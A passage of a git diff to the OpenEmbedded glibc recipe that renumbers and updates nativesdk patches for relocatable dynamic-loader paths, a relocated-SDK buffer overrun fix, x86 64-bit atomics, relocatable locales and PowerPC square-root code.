++ && ((l = loader ?: GL(dl_ns)[nsid]._ns_loaded) == NULL
++ || __builtin_expect (!(l->l_flags_1 & DF_1_NODEFLIB), 1))
++ && __rtld_search_dirs.dirs != (void *) -1)
++ fd = open_path (name, namelen, mode & __RTLD_SECURE, &__rtld_search_dirs,
++ &realname, &fb, l, LA_SER_DEFAULT, &found_other_class);
++ /* Finally try ld.so.cache */
+ #ifdef USE_LDCONFIG
+ if (fd == -1
+ && (__glibc_likely ((mode & __RTLD_SECURE) == 0)
+@@ -2266,14 +2274,6 @@ _dl_map_object (struct link_map *loader, const char *name,
+ }
+ #endif
+
+- /* Finally, try the default path. */
+- if (fd == -1
+- && ((l = loader ?: GL(dl_ns)[nsid]._ns_loaded) == NULL
+- || __glibc_likely (!(l->l_flags_1 & DF_1_NODEFLIB)))
+- && __rtld_search_dirs.dirs != (void *) -1)
+- fd = open_path (name, namelen, mode, &__rtld_search_dirs,
+- &realname, &fb, l, LA_SER_DEFAULT, &found_other_class);
+-
+ /* Add another newline when we are tracing the library loading. */
+ if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_LIBS))
+ _dl_debug_printf ("\n");
diff --git a/meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch b/meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch
deleted file mode 100644
index 48f5a78716..0000000000
--- a/meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch
+++ /dev/null
@@ -1,141 +0,0 @@
-From 3aceb84e2bc0f796204fe059beede91179b1bc6e Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 01:51:38 +0000
-Subject: [PATCH 03/28] nativesdk-glibc: Raise the size of arrays containing dl
- paths
-
-This patch puts the dynamic loader path in the binaries, SYSTEM_DIRS strings
-and lengths as well as ld.so.cache path in the dynamic loader to specific
-sections in memory. The sections that contain paths have been allocated a 4096
-byte section, which is the maximum path length in linux. This will allow the
-relocating script to parse the ELF binary, detect the section and easily replace
-the strings in a certain path.
-
-Upstream-Status: Inappropriate [SDK specific]
-
-Signed-off-by: Laurentiu Palcu <laurentiu.palcu@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- elf/dl-cache.c | 4 ++++
- elf/dl-load.c | 4 ++--
- elf/interp.c | 2 +-
- elf/ldconfig.c | 3 +++
- elf/rtld.c | 5 +++--
- iconv/gconv_conf.c | 2 +-
- sysdeps/generic/dl-cache.h | 4 ----
- 7 files changed, 14 insertions(+), 10 deletions(-)
-
-diff --git a/elf/dl-cache.c b/elf/dl-cache.c
-index d8d1e2344e..d2247bfc4f 100644
---- a/elf/dl-cache.c
-+++ b/elf/dl-cache.c
-@@ -133,6 +133,10 @@ do \
- while (0)
-
-
-+const char LD_SO_CACHE[4096] __attribute__ ((section (".ldsocache"))) =
-+ SYSCONFDIR "/ld.so.cache";
-+
-+
- int
- _dl_cache_libcmp (const char *p1, const char *p2)
- {
-diff --git a/elf/dl-load.c b/elf/dl-load.c
-index c7a0fa58cb..4b87505d45 100644
---- a/elf/dl-load.c
-+++ b/elf/dl-load.c
-@@ -110,8 +110,8 @@ static size_t max_capstrlen attribute_relro;
- gen-trusted-dirs.awk. */
- #include "trusted-dirs.h"
-
--static const char system_dirs[] = SYSTEM_DIRS;
--static const size_t system_dirs_len[] =
-+static const char system_dirs[4096] __attribute__ ((section (".sysdirs"))) = SYSTEM_DIRS;
-+volatile static const size_t system_dirs_len[] __attribute__ ((section (".sysdirslen"))) =
- {
- SYSTEM_DIRS_LEN
- };
-diff --git a/elf/interp.c b/elf/interp.c
-index 243829f5f7..0e74241703 100644
---- a/elf/interp.c
-+++ b/elf/interp.c
-@@ -18,5 +18,5 @@
-
- #include <runtime-linker.h>
-
--const char __invoke_dynamic_linker__[] __attribute__ ((section (".interp")))
-+const char __invoke_dynamic_linker__[4096] __attribute__ ((section (".interp")))
- = RUNTIME_LINKER;
-diff --git a/elf/ldconfig.c b/elf/ldconfig.c
-index 3bc9e61891..6a23096435 100644
---- a/elf/ldconfig.c
-+++ b/elf/ldconfig.c
-@@ -168,6 +168,9 @@ static struct argp argp =
- options, parse_opt, NULL, doc, NULL, more_help, NULL
- };
-
-+
-+extern const char LD_SO_CACHE[4096] __attribute__ ((section (".ldsocache")));
-+
- /* Check if string corresponds to an important hardware capability or
- a platform. */
- static int
-diff --git a/elf/rtld.c b/elf/rtld.c
-index c9490ff694..3962373ebb 100644
---- a/elf/rtld.c
-+++ b/elf/rtld.c
-@@ -173,6 +173,7 @@ dso_name_valid_for_suid (const char *p)
- }
- return *p != '\0';
- }
-+extern const char LD_SO_CACHE[4096] __attribute__ ((section (".ldsocache")));
-
- /* LD_AUDIT variable contents. Must be processed before the
- audit_list below. */
-@@ -1220,13 +1221,13 @@ of this helper program; chances are you did not intend to run this program.\n\
- --list list all dependencies and how they are resolved\n\
- --verify verify that given object really is a dynamically linked\n\
- object we can handle\n\
-- --inhibit-cache Do not use " LD_SO_CACHE "\n\
-+ --inhibit-cache Do not use %s\n\
- --library-path PATH use given PATH instead of content of the environment\n\
- variable LD_LIBRARY_PATH\n\
- --inhibit-rpath LIST ignore RUNPATH and RPATH information in object names\n\
- in LIST\n\
- --audit LIST use objects named in LIST as auditors\n\
-- --preload LIST preload objects named in LIST\n");
-+ --preload LIST preload objects named in LIST\n", LD_SO_CACHE);
-
- ++_dl_skip_args;
- --_dl_argc;
-diff --git a/iconv/gconv_conf.c b/iconv/gconv_conf.c
-index ae8937cba0..f321ee419e 100644
---- a/iconv/gconv_conf.c
-+++ b/iconv/gconv_conf.c
-@@ -36,7 +36,7 @@
-
-
- /* This is the default path where we look for module lists. */
--static const char default_gconv_path[] = GCONV_PATH;
-+static char default_gconv_path[4096] __attribute__ ((section (".gccrelocprefix"))) = GCONV_PATH;
-
- /* Type to represent search path. */
- struct path_elem
-diff --git a/sysdeps/generic/dl-cache.h b/sysdeps/generic/dl-cache.h
-index bc8b40331d..b0fdd2144b 100644
---- a/sysdeps/generic/dl-cache.h
-+++ b/sysdeps/generic/dl-cache.h
-@@ -27,10 +27,6 @@
- ((flags) == 1 || (flags) == _DL_CACHE_DEFAULT_ID)
- #endif
-
--#ifndef LD_SO_CACHE
--# define LD_SO_CACHE SYSCONFDIR "/ld.so.cache"
--#endif
--
- #ifndef add_system_dir
- # define add_system_dir(dir) add_dir (dir)
- #endif
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch b/meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch
deleted file mode 100644
index a43f294345..0000000000
--- a/meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From e41e042149eac349e09fa629fcac4c64e574322c Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 31 Dec 2015 14:35:35 -0800
-Subject: [PATCH 04/28] nativesdk-glibc: Allow 64 bit atomics for x86
-
-The fix consist of allowing 64bit atomic ops for x86.
-This should be safe for i586 and newer CPUs.
-It also makes the synchronization more efficient.
-
-Upstream-Status: Inappropriate [OE-Specific]
-
-Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/x86/atomic-machine.h | 3 +--
- 1 file changed, 1 insertion(+), 2 deletions(-)
-
-diff --git a/sysdeps/x86/atomic-machine.h b/sysdeps/x86/atomic-machine.h
-index aa60ca4cd6..3e42e00183 100644
---- a/sysdeps/x86/atomic-machine.h
-+++ b/sysdeps/x86/atomic-machine.h
-@@ -58,15 +58,14 @@ typedef uintmax_t uatomic_max_t;
- #endif
-
- #define USE_ATOMIC_COMPILER_BUILTINS 1
-+# define __HAVE_64B_ATOMICS 1
-
- #ifdef __x86_64__
--# define __HAVE_64B_ATOMICS 1
- # define SP_REG "rsp"
- # define SEG_REG "fs"
- # define BR_CONSTRAINT "q"
- # define IBR_CONSTRAINT "iq"
- #else
--# define __HAVE_64B_ATOMICS 0
- # define SP_REG "esp"
- # define SEG_REG "gs"
- # define BR_CONSTRAINT "r"
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch b/meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch
new file mode 100644
index 0000000000..da288d6ccf
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch
@@ -0,0 +1,46 @@
+From 2f7407697f2a905fedb98037152e7830f73bc6c6 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 01:50:00 +0000
+Subject: [PATCH] nativesdk-glibc: Fix buffer overrun with a relocated SDK
+
+When ld-linux-*.so.2 is relocated to a path that is longer than the
+original fixed location, the dynamic loader will crash in open_path
+because it implicitly assumes that max_dirnamelen is a fixed size that
+never changes.
+
+The allocated buffer will not be large enough to contain the directory
+path string which is larger than the fixed location provided at build
+time.
+
+Upstream-Status: Inappropriate [OE SDK specific]
+
+Signed-off-by: Jason Wessel <jason.wessel@windriver.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ elf/dl-load.c | 12 ++++++++++++
+ 1 file changed, 12 insertions(+)
+
+diff --git a/elf/dl-load.c b/elf/dl-load.c
+index 39c4657fa2..daa3af6c51 100644
+--- a/elf/dl-load.c
++++ b/elf/dl-load.c
+@@ -1904,7 +1904,19 @@ open_path (const char *name, size_t namelen, int mode,
+ given on the command line when rtld is run directly. */
+ return -1;
+
++ do
++ {
++ struct r_search_path_elem *this_dir = *dirs;
++ if (this_dir->dirnamelen > max_dirnamelen)
++ {
++ max_dirnamelen = this_dir->dirnamelen;
++ }
++ }
++ while (*++dirs != NULL);
++
+ buf = alloca (max_dirnamelen + max_capstrlen + namelen);
++
++ dirs = sps->dirs;
+ do
+ {
+ struct r_search_path_elem *this_dir = *dirs;
diff --git a/meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Make-relocatable-install-for-locales.patch b/meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Make-relocatable-install-for-locales.patch
deleted file mode 100644
index 3aad603ada..0000000000
--- a/meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Make-relocatable-install-for-locales.patch
+++ /dev/null
@@ -1,70 +0,0 @@
-From 50ab0b0c116f4ae3d975ec1b15ed4595fd9147f6 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 3 Aug 2018 09:55:12 -0700
-Subject: [PATCH 05/28] nativesdk-glibc: Make relocatable install for locales
-
-The glibc locale path is hard-coded to the install prefix, but in SDKs we need
-to be able to relocate the binaries. Expand the strings to 4K and put them in a
-magic segment that we can relocate at install time.
-
-Upstream-Status: Inappropriate (OE-specific)
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- locale/findlocale.c | 4 ++--
- locale/loadarchive.c | 2 +-
- locale/localeinfo.h | 2 +-
- 3 files changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/locale/findlocale.c b/locale/findlocale.c
-index 9af605bd64..b2b0a3f93b 100644
---- a/locale/findlocale.c
-+++ b/locale/findlocale.c
-@@ -56,7 +56,7 @@ struct __locale_data *const _nl_C[] attribute_hidden =
- which are somehow addressed. */
- struct loaded_l10nfile *_nl_locale_file_list[__LC_LAST];
-
--const char _nl_default_locale_path[] attribute_hidden = COMPLOCALEDIR;
-+char _nl_default_locale_path[4096] attribute_hidden __attribute__ ((section (".gccrelocprefix"))) = COMPLOCALEDIR;
-
- /* Checks if the name is actually present, that is, not NULL and not
- empty. */
-@@ -167,7 +167,7 @@ _nl_find_locale (const char *locale_path, size_t locale_path_len,
-
- /* Nothing in the archive. Set the default path to search below. */
- locale_path = _nl_default_locale_path;
-- locale_path_len = sizeof _nl_default_locale_path;
-+ locale_path_len = strlen(locale_path) + 1;
- }
- else
- /* We really have to load some data. First see whether the name is
-diff --git a/locale/loadarchive.c b/locale/loadarchive.c
-index 803c1cf2a4..9023f475b8 100644
---- a/locale/loadarchive.c
-+++ b/locale/loadarchive.c
-@@ -42,7 +42,7 @@
-
-
- /* Name of the locale archive file. */
--static const char archfname[] = COMPLOCALEDIR "/locale-archive";
-+static const char archfname[4096] __attribute__ ((section (".gccrelocprefix"))) = COMPLOCALEDIR "/locale-archive";
-
- /* Size of initial mapping window, optimal if large enough to
- cover the header plus the initial locale. */
-diff --git a/locale/localeinfo.h b/locale/localeinfo.h
-index 7c1cc3eecb..53cb8bfc59 100644
---- a/locale/localeinfo.h
-+++ b/locale/localeinfo.h
-@@ -325,7 +325,7 @@ _nl_lookup_word (locale_t l, int category, int item)
- }
-
- /* Default search path if no LOCPATH environment variable. */
--extern const char _nl_default_locale_path[] attribute_hidden;
-+extern char _nl_default_locale_path[4096] attribute_hidden;
-
- /* Load the locale data for CATEGORY from the file specified by *NAME.
- If *NAME is "", use environment variables as specified by POSIX, and
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch b/meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch
new file mode 100644
index 0000000000..14bcaf3ef9
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch
@@ -0,0 +1,153 @@
+From 88a31cd08801df53249963f3b26c7dbcee6ae2f8 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 01:51:38 +0000
+Subject: [PATCH] nativesdk-glibc: Raise the size of arrays containing dl paths
+
+This patch puts the dynamic loader path in the binaries, SYSTEM_DIRS strings
+and lengths as well as ld.so.cache path in the dynamic loader to specific
+sections in memory. The sections that contain paths have been allocated a 4096
+byte section, which is the maximum path length in linux. This will allow the
+relocating script to parse the ELF binary, detect the section and easily replace
+the strings in a certain path.
+
+Upstream-Status: Inappropriate [SDK specific]
+
+Signed-off-by: Laurentiu Palcu <laurentiu.palcu@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ elf/dl-cache.c | 4 ++++
+ elf/dl-load.c | 4 ++--
+ elf/dl-usage.c | 6 ++++--
+ elf/interp.c | 2 +-
+ elf/ldconfig.c | 3 +++
+ elf/rtld.c | 1 +
+ iconv/gconv_conf.c | 2 +-
+ sysdeps/generic/dl-cache.h | 4 ----
+ 8 files changed, 16 insertions(+), 10 deletions(-)
+
+diff --git a/elf/dl-cache.c b/elf/dl-cache.c
+index 2b8da8650d..3d9787bda4 100644
+--- a/elf/dl-cache.c
++++ b/elf/dl-cache.c
+@@ -355,6 +355,10 @@ search_cache (const char *string_table, uint32_t string_table_size,
+ return best;
+ }
+
++const char LD_SO_CACHE[4096] __attribute__ ((section (".ldsocache"))) =
++ SYSCONFDIR "/ld.so.cache";
++
++
+ int
+ _dl_cache_libcmp (const char *p1, const char *p2)
+ {
+diff --git a/elf/dl-load.c b/elf/dl-load.c
+index daa3af6c51..e323952993 100644
+--- a/elf/dl-load.c
++++ b/elf/dl-load.c
+@@ -117,8 +117,8 @@ enum { ncapstr = 1, max_capstrlen = 0 };
+ gen-trusted-dirs.awk. */
+ #include "trusted-dirs.h"
+
+-static const char system_dirs[] = SYSTEM_DIRS;
+-static const size_t system_dirs_len[] =
++static const char system_dirs[4096] __attribute__ ((section (".sysdirs"))) = SYSTEM_DIRS;
++volatile static const size_t system_dirs_len[] __attribute__ ((section (".sysdirslen"))) =
+ {
+ SYSTEM_DIRS_LEN
+ };
+diff --git a/elf/dl-usage.c b/elf/dl-usage.c
+index 5ad3a72559..88f26d3692 100644
+--- a/elf/dl-usage.c
++++ b/elf/dl-usage.c
+@@ -25,6 +25,8 @@
+ #include <dl-procinfo.h>
+ #include <dl-hwcaps.h>
+
++extern const char LD_SO_CACHE[4096] __attribute__ ((section (".ldsocache")));
++
+ void
+ _dl_usage (const char *argv0, const char *wrong_option)
+ {
+@@ -244,7 +246,7 @@ setting environment variables (which would be inherited by subprocesses).\n\
+ --list list all dependencies and how they are resolved\n\
+ --verify verify that given object really is a dynamically linked\n\
+ object we can handle\n\
+- --inhibit-cache Do not use " LD_SO_CACHE "\n\
++ --inhibit-cache Do not use %s\n\
+ --library-path PATH use given PATH instead of content of the environment\n\
+ variable LD_LIBRARY_PATH\n\
+ --glibc-hwcaps-prepend LIST\n\
+@@ -267,7 +269,7 @@ setting environment variables (which would be inherited by subprocesses).\n\
+ \n\
+ This program interpreter self-identifies as: " RTLD "\n\
+ ",
+- argv0);
++ argv0, LD_SO_CACHE);
+ print_search_path_for_help (state);
+ print_hwcaps_subdirectories (state);
+ print_legacy_hwcap_directories ();
+diff --git a/elf/interp.c b/elf/interp.c
+index 91966702ca..dc86c20e83 100644
+--- a/elf/interp.c
++++ b/elf/interp.c
+@@ -18,5 +18,5 @@
+
+ #include <runtime-linker.h>
+
+-const char __invoke_dynamic_linker__[] __attribute__ ((section (".interp")))
++const char __invoke_dynamic_linker__[4096] __attribute__ ((section (".interp")))
+ = RUNTIME_LINKER;
+diff --git a/elf/ldconfig.c b/elf/ldconfig.c
+index 101d56ac8e..33debef60a 100644
+--- a/elf/ldconfig.c
++++ b/elf/ldconfig.c
+@@ -176,6 +176,9 @@ static struct argp argp =
+ options, parse_opt, NULL, doc, NULL, more_help, NULL
+ };
+
++
++extern const char LD_SO_CACHE[4096] __attribute__ ((section (".ldsocache")));
++
+ /* Check if string corresponds to an important hardware capability or
+ a platform. */
+ static int
+diff --git a/elf/rtld.c b/elf/rtld.c
+index 4b09e84b0d..56d93ff616 100644
+--- a/elf/rtld.c
++++ b/elf/rtld.c
+@@ -193,6 +193,7 @@ dso_name_valid_for_suid (const char *p)
+ }
+ return *p != '\0';
+ }
++extern const char LD_SO_CACHE[4096] __attribute__ ((section (".ldsocache")));
+
+ static void
+ audit_list_init (struct audit_list *list)
+diff --git a/iconv/gconv_conf.c b/iconv/gconv_conf.c
+index 077082af66..46b6152455 100644
+--- a/iconv/gconv_conf.c
++++ b/iconv/gconv_conf.c
+@@ -35,7 +35,7 @@
+ #include <gconv_parseconfdir.h>
+
+ /* This is the default path where we look for module lists. */
+-static const char default_gconv_path[] = GCONV_PATH;
++static char default_gconv_path[4096] __attribute__ ((section (".gccrelocprefix"))) = GCONV_PATH;
+
+ /* Type to represent search path. */
+ struct path_elem
+diff --git a/sysdeps/generic/dl-cache.h b/sysdeps/generic/dl-cache.h
+index 964d50a486..94bf68ca9d 100644
+--- a/sysdeps/generic/dl-cache.h
++++ b/sysdeps/generic/dl-cache.h
+@@ -34,10 +34,6 @@
+ ((flags) == 1 || (flags) == _DL_CACHE_DEFAULT_ID)
+ #endif
+
+-#ifndef LD_SO_CACHE
+-# define LD_SO_CACHE SYSCONFDIR "/ld.so.cache"
+-#endif
+-
+ #ifndef add_system_dir
+ # define add_system_dir(dir) add_dir (dir)
+ #endif
diff --git a/meta/recipes-core/glibc/glibc/0006-fsl-e500-e5500-e6500-603e-fsqrt-implementation.patch b/meta/recipes-core/glibc/glibc/0006-fsl-e500-e5500-e6500-603e-fsqrt-implementation.patch
deleted file mode 100644
index 5e1c591432..0000000000
--- a/meta/recipes-core/glibc/glibc/0006-fsl-e500-e5500-e6500-603e-fsqrt-implementation.patch
+++ /dev/null
@@ -1,1584 +0,0 @@
-From 7cccf5cec09f2a42cc3fe5d82ce21b7309330b33 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:01:50 +0000
-Subject: [PATCH 06/28] fsl e500/e5500/e6500/603e fsqrt implementation
-
-Upstream-Status: Pending
-Signed-off-by: Edmar Wienskoski <edmar@freescale.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c | 134 ++++++++++++++++++
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c | 101 +++++++++++++
- sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c | 134 ++++++++++++++++++
- .../powerpc/powerpc32/e500mc/fpu/e_sqrtf.c | 101 +++++++++++++
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c | 134 ++++++++++++++++++
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c | 101 +++++++++++++
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c | 134 ++++++++++++++++++
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c | 101 +++++++++++++
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c | 134 ++++++++++++++++++
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c | 101 +++++++++++++
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c | 134 ++++++++++++++++++
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c | 101 +++++++++++++
- .../linux/powerpc/powerpc32/603e/fpu/Implies | 1 +
- .../powerpc/powerpc32/e300c3/fpu/Implies | 2 +
- .../powerpc/powerpc32/e500mc/fpu/Implies | 1 +
- .../linux/powerpc/powerpc32/e5500/fpu/Implies | 1 +
- .../linux/powerpc/powerpc32/e6500/fpu/Implies | 1 +
- .../linux/powerpc/powerpc64/e5500/fpu/Implies | 1 +
- .../linux/powerpc/powerpc64/e6500/fpu/Implies | 1 +
- 19 files changed, 1418 insertions(+)
- create mode 100644 sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
- create mode 100644 sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
- create mode 100644 sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
- create mode 100644 sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
- create mode 100644 sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
- create mode 100644 sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
- create mode 100644 sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc32/603e/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc32/e300c3/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc32/e500mc/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc32/e5500/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc32/e6500/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc64/e5500/fpu/Implies
- create mode 100644 sysdeps/unix/sysv/linux/powerpc/powerpc64/e6500/fpu/Implies
-
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
